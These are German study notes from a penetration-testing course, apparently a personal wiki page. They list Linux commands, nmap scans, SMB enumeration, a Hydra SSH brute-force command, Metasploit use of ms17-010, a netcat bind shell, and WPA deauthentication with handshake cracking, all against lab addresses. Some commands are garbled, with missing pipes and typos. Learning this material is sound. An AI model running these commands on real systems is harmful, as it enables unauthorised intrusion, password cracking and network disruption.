

Heise Hacking Kurs LinkedIn Learning

Testumgebung:

Windows-Rechner:

IP-Adresse: 10.1.1.129

MAC-Adresse: BA-F0-EC-81-03-92

Kali-Linux:

IP-Adresse: 10.1.1.128

MAC-Adresse: FE-3A-E0-10-0E-35

Serverschutz Bausteine von BSI

Schichtenmodell TCP/IP

image.png

Infos

Generell

127.0.0.1 = localhost : Jedes Paket geht wieder zurück auf den sendenden Rechner

Wireshark

ARP = Address Resolution Protocol dient dazu MAC adressen auszulesen

Befehle:

Befehl	Beispiel	
ipcalc	ipcalc 192.168.178.0/24	Stellt die Subnetzmaske mit den IP-Adressen dar

ls -la grep	ls -la grep go	Gibt dann nur Inhalte wieder, die go enthalten
find	find .	Gibt alles aus
find . grep	find . grep go	Findet alles in Laufwerk und gibt aber nur inhalte mit go zurück
locate		Suche über die gesamte Festplatte
pwd	pwd	Print Working Directory - Aktuelles laufwerk anzeigen
whoami	whoami	Aktueller Benutzer
cd	cd	Springt direkt ins homeverzeichnis
ps aux		Zeigt Prozesse an
ps aux grep apache2		Zeigt alles mit apache2 an
cat		Zeigt dateiinhalt an
cat	cat > hackingskills cat >> hackingskills	Erstellt eine Datei direkt Benden mit Ctrl + d dadurch wird die Datei um weitere Zeilen erweitert
grep	sudo cat /etc/config-datei grep output	Sucht nach dem String Output
nl		zeigt den inhalt einer datei mit den Zeilennummern an. Kann auch mit grep verbunden werden
<u>sed</u>		
<u>netstat</u>		
<u>ip</u>		
dig	dig linkedin.com ns	Zeigt die Nameserver an
	dig li	
passwd		Passwort ändern

Linux Hilfe

aircrack-ng	aircrack-ng --help more	Zeigt die Hllfe an mit jeder seite Leertaste für nächste Seite q für Beenden
man aircrack-ng		Zeigt das Manual an

Finden in Linux

locate - locate apache2.conf | zeit an wo dateien liegen. (Datenbank aktualisieren: updatedb)

whereis - whereis nmap

which - which nmap

find - find / -type f -name apache2 Zeigt f = Dateien an die im / Homeverzeichnis liegen. Mit sudo werden alle dateien gefunden.

find - find /etc -tpye -f -name apache2.* findet alles in etc mit dem Namen apache2

Berechtigungen

-rw-r--r-- 1 dapelza dapelza 0 31. Jan 10:19 test.txt

Berechtigung	User	Gruppe	Größe	Datum	Dateiname
3 Bits	Besitzer	3 Bits	Gruppe	3 Bits	alle anderen

-rw-rw-r-- 1 tom tom 0 Dez 30 08:18 file.txt

- = Datei

Symbolische Notation	Numerische Notation	Bash
-----	0000	no permission
--x--x--x	0111	execute
--w--w--w	0222	write
--wx--wx--wx	0333	write & execute
-r--r--r--	0444	read
-r-xr-xr-x	0555	read & execute
-rw-rw-rw	0666	read & write
-rwxrwxrwx	0777	read, write & execute

Bit	Berechtigung	
r	Read	
w	Write	

x	Execute (Ausführen)	
Berechtigung ändern		
chmod +x test.txt		Alle dürfen ausführen
chmod -x test.txt		Berechtigung nehmen
chmod u+x test.txt		Nur der User darf die Datei ausführen
chmod g+x test.txt		Gruppe darf ausführen

Phasen des Hacking

image.png

Passives Scannen

hunter.io

Email-Adressen von Unternehmen herausfinden

Burp Suite

Zum Auslesen von Http Code über einen Proxy

DefaultCreds-cheat-sheet

[DefaultCreds-cheat-sheet/DefaultCreds-Cheat-Sheet.csv at main · ihebski/DefaultCreds-cheat-sheet · GitHub](#)

Webseiten überprüfen

[builtwith.com](#)

Aktives Scannen

Nmap

Parameter	Kommentar
<code>nmap -sn 10.1.1.0/24</code>	Pingt einen ip-Bereich und gibt die Teilnehmer wieder.
<code>nmap 10.1.1.136 -v</code>	Vorher schon ergebnisse Anzeigen
<code>nmap 10.1.1.136 -oN /pfad/zur/datei</code>	speichert die ergebnisse in einer Datei ab
<code>nmap 10.1.1.136 -p40,21</code>	können bestimmte Ports gescannt werden
<code>nmap 10.1.1.136 -sU</code>	Scannt auch udp
<code>nmap 10.1.1.136 -A</code>	Führt scripte aus
<code>nmap -sn 10.1.1.0/24 -oG - grep Up awk '{print \$2}' > targets.txt</code>	Erstell mit hilfe von nmap eine Liste von allen Geräten die erreichbar sind. Mit -oG wird die Ausgabe in ein grepable Format gebracht.
Offene Ports ermitteln	
<code>nmap 10.1.1.10</code>	Portscan der 1000 meist verwendeten ports
<code>nmap -sV 10.1.1.10</code>	- Portscan mit den dahinter verwendeten Software
<code>nmap -sTU --top-ports 100 10.1.1.0/24</code>	Portscan über die 100 meistverwendesten Ports mit TCP und UDP
<code>nmap -oG grepable.txt 10.1.1.0/24</code>	Ausgabe des Scans in eine grepable textdatei
<code>grep "Host: 10.1.1.3" grepable.txt</code>	Durchsucht die Datei grepable.txt
<code>nmap -oA bigausgabe 10.1.1.0/24</code>	Ausgabe in den 3 gängigen Formaten
Ausgabe schön formatieren	
<code>nmap -oX ausgabe-in.xml 10.1.1.0/24</code>	erstellt eine XML Datei
<code>xsltproc ausgabe-in.xml -o ausgabe-in.html</code>	Wandelt die xml in eine Html um
<code>nmap -oA bigausgabe 10.1.1.0/24 && xsltproc bigausgabe.xml -o bigausgabe.html && firefox bigausgabe.html</code>	Erstellt die Ausgaben, wandelt xml in html um und öffnet die datei mit dem Firefox
<code>nmap -p- -A 10.1.1.3</code>	Detailscan über alle ports einer Maschine
Schalter: -O = Gibt das Betriebssystem mit -A = Gibt OS wieder und macht einen Script scan	

Dirbuster

Scannt nach unterverzeichnissen auf einer Domain

Im internet nach Exploits suchen

Beispiel: exploitdb Wordpress 4.9

searchsploit

findet schwachstellen in einer Software

smbmap

findet schwachstellen in der SMB freigabe

```
smbmap -u "" -H 10.0.2.9
```

-u "" = User aber nicht angeben.

Enum4Linux

findet usernamen

```
enum4linux 10.1.1.150 -U
```

Hydra

Brutforce auf ssh oder smb

```
hydra -l jan -P /usr/share/wordlist/rockyou.txt ssh://10.1.1.12 -t 4
```

Exploit-Datenbanken

www.exploit-db.com

www.cvedetails.com

Exploits lokal suchen

mit Searchsploit können Exploits lokal gesucht werden.

Update von searchsploit: `searchsploit -u`

```
searchsploit dnsmasq
```

Um auf den Exploit im Internet zugreifen zu können folgenden Befehl verwenden

```
searchsploit -w dnsmasq
```

Exploits

Metasploit framework

```
msfconsole
```

Bevor man mit msf los legt:

Postgressql dienst starten

Automatisch mit dem System starten

```
sudo systemctl enable postgresql
```

Dienst starten

```
sudo systemctl start postgresql
```

Datenbank starten

```
sudo msfdb init
```

Metasploit verwenden

Module

```
search proftp
```

use exploit/windows/ftp/proftp_banner

oder

use 4

danach:

options

set Rhosts

show payloads

show targets

Weitere Beispiele

Workspace anlegen

workspace Zeigt den Workspace an

workspace -a demo neuen Workspace anlegen

workspace -d demo Workspace löschen

Befehle

hosts Zeigt hosts an, die schon verwendet wurden

db_nmap 10.1.1.0/24 nmap direkt in Metasploit verwenden

db_import bigausgabe.xml Importieren von bereits mit Nmap gefundenen Informationen

services Dabei werden alle bekannten Ports im Netzwerk angezeigt, die vorher gescannt wurden

setg rhosts Setzt rhosts global. Dann muss man nicht jedes mal neu eingeben

Auxiliaries (Helfer)

use auxiliary/scanner/portscan/tcp Damit wird das Modul ausgewählt

show option Optionen anzeigen

set rhosts 10.1.1.146 Damit wird eine Option rhosts gesetzt

run Starte den Scan

back Verlassen der Auxiliary

Exploit suchen

search ms17-010 Damit kann man im MSF direkt nach Exploits suchen. nach was man suchen soll, dass kann einem ein Scan mit Nessus oder openVAS liefern

Exploit verwenden

`use exploit/windows/smb/ms17` mit der Tabtaste kann man die verschiedenen auswählen
`show options`
`set RHOSTS 10.1.1.3` um den Host auszuwählen
`run` führt den Angriff aus

DNSENUM

Netcat

Opfer

`nc -lvp 4444` - Damit kann man generell auf eine Verbindung lauschen

`nc -lvp 4444 -e /bin/bash` - Würde bei Verbindung eine Shell starten

Angreifer

`nc 10.1.1.138 4444` - Stellt eine Verbindung zum lauschenden Opfer auf dem Port 4444 her

Pentest MOnkey reverse shell

Nessus

Tools

SED

Suchen und ersetzen

Mit suchen und ersetzen kann man in einer Datei Wörter ersetzen.

```
sudo sed s/mysql/MySQL/g /etc/irgendwas.conf > irgendwasneu.conf # s = substizution: mysql wird durch MySQL  
ersetzt in der ganzen Datei (/g)
```

Netstat

`netstat -r` Zeigt die Netzwerkkarte das Standardgateway an.

IP

`ip a sh # sh = Show`

`# Ip Adresse ändern`

`ifconfig eth0 10.1.1.109 netmask 255.255.255.0`

Passwd

`passwd # zum ändern des Passwortes`

Vorgehensweise Netzwerkuntersuchung

Wenn ich ein Netzwerk untersuche

`ip a sh # In welchem Netz befinde ich mich`

`route -n # Was ist das Standardgateway`

`cat /etc/resolv.conf #` Damit könnte es sein, dass der DNS-Server angezeigt wird. Außerdem wird die Domain angezeigt

`ping fritz.box #` wenn es eine Domäne gibt, dann wird der Domaincontroller eine Antwort geben

`dmitry #` kann ports eines Rechners scannen

Wenn man einen Penetration-Test macht, wird immer alles dokumentiert.

Arping

Mit Arping kann man auf Layer2 pingen und erhält die MacAdresse zurück

`arping fritz.box`

Netdiscover

Sehr gutes Tool zum anzeigen der aktiven Geräte im Netzwerk

```
netdiscover -r 10.1.1.0/24
```

Fping

```
fping -a -c 2 -g 10.1.1.1 10.1.1.254 # pingt eine gruppe an
```

Script zum pingen der Geräte im Netzwerk

```
#!/bin/bash

# For Schleife die alle Adressen druchpingt und die ip-adresse zurück gibt
# cut teilt den String am " " Leerzeichen -f gibt das 4. Feld zurück

for adress in $(seq 1 254); do
    ping -c 1 10.1.1.$adress | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 & done
```

WLAN Untersuchen

Wlan überprüfen

```
iwconfig
```

Wlan in Monitoring versetzen

```
airmon-ng start wlan0
```

 Verstetzt den Adapter in den Monitoring Modus

```
airodump-ng wlan0mon
```

 Zeigt funknetzwerke an

```
airodump-ng wlan0mon -c 1 --bssid 'macadresse von wlan' -w wpastream
```

 Aufzeichnen was wir machen **-c ist channel** --bssid ist die macadresse des wlan ohne Anführungsstriche. Mit -w legen wir den Speicherort der aufzeichnung fest.

gleichzeitig:

```
aireplay-ng wlan0mon --deauth 3 -a 'bssid'
```

 Da muss der handshake gemacht werden

in der datei wpastram ist dann das passwort gespeichert

```
aircrack-ng -w /usr/share/wordlists/fasttrack.txt wpastram-01.cap bruteforce auf den hash
```

Schwachstellenanalyse

Legion

nikto

zur untersuchung von Server

openVAS

Nessus

Revision #15

Created 21 March 2023 10:30:18 by Hermann

Updated 13 July 2023 11:58:58 by Hermann